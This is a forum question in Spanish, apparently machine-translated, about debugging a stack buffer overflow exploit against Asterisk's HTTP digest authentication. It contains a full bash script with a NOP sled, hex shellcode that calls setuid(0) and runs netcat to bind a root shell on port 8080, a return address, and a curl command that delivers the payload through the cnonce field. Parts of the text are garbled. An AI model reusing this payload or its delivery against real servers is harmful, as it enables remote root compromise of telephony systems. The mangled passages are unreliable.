Estoy enfrentando un problema con la inyección de shellcode, hay algo que estoy omitiendo que no puedo entender. Este es el escenario:
- intentando pasar un código de shell a un programa que ya se está ejecutando y que sufre una vulnerabilidad de bof,
- el programa es Asterisk, y fue construido e instalado con
/configure,
|make
,make install
. Permití que Backtrace para depurar el marco de la pila rompiendo con gdb.
Estoy intentando pasar el código de shell a través del comando curl. El shellcode realiza dos llamadas de sistema:
call setuid(0)
call execve('/bin//nc', ['/bin//nc', '-lp8080', '-e/bin/sh'], 0)
Para enviar el shellcode a la aplicación, he escrito un script bash:
#!/bin/bash
var="$(python -c 'print 462*"\x90" + "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xd2\x52 \x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x6a\x30\x66\x68\x30\x38\x68\x2d\x6c\x70\x38\x89\xe0\x52\x6a\x68\x68\x69\x6e\x2f\x73\x68\x2d\x65\x2f\x62\x89\xe1\x52\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80" + 4*"A" + "\x80\x66\x25\xb6"')"
curl -v http://127.0.0.1:8088/asterisk/amxml -H "Authorization: Digest username="user",realm="domain",nonce="AAAAAAAA",uri="/asterisk/amxml",algorithm=MD5,response="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",opaque="CCCCCCCC",qop="auth",nc="DDDDDDDD",cnonce=$var"
esencialmente la variable 'var' se compone de:
'462 * NOP,
el shellcode de enlace de puerto,
4 * A '
y una dirección de memoria para la redirección de flujo después de la instrucción ret.
Soy capaz de inspeccionar la memoria y las direcciones del marco de pila involucrado por el desbordamiento del búfer que tiene habilitada la función de rastreo. Después de fallar, y pasar por la depuración de gdb, puedo ver el código hex enviado a través de curl; pero aquí viene la excepción:
462 NOPs (\x90)
se escriben en la memoria (y eso está bien),
el código de shell se escribe en la memoria de la pila hasta que alcanza el número syscall de execve \x0b
A través de gdb puedo ver que el código hexadecimal \x0b
se reemplaza con
para que el resto del código de shell no se escriba dentro de la pila. Probé otro syscall en lugar de \x0b
\x0c
en el código de shell, por ejemplo, \x0e
(mismo comportamiento) y \x0e
| (esta vez %code% se escribe en la pila y el resto de shellcode también). ¿Crees que el problema está relacionado con algún mecanismo de protección de pila?
Aprecio que alguien me guíe por el camino correcto.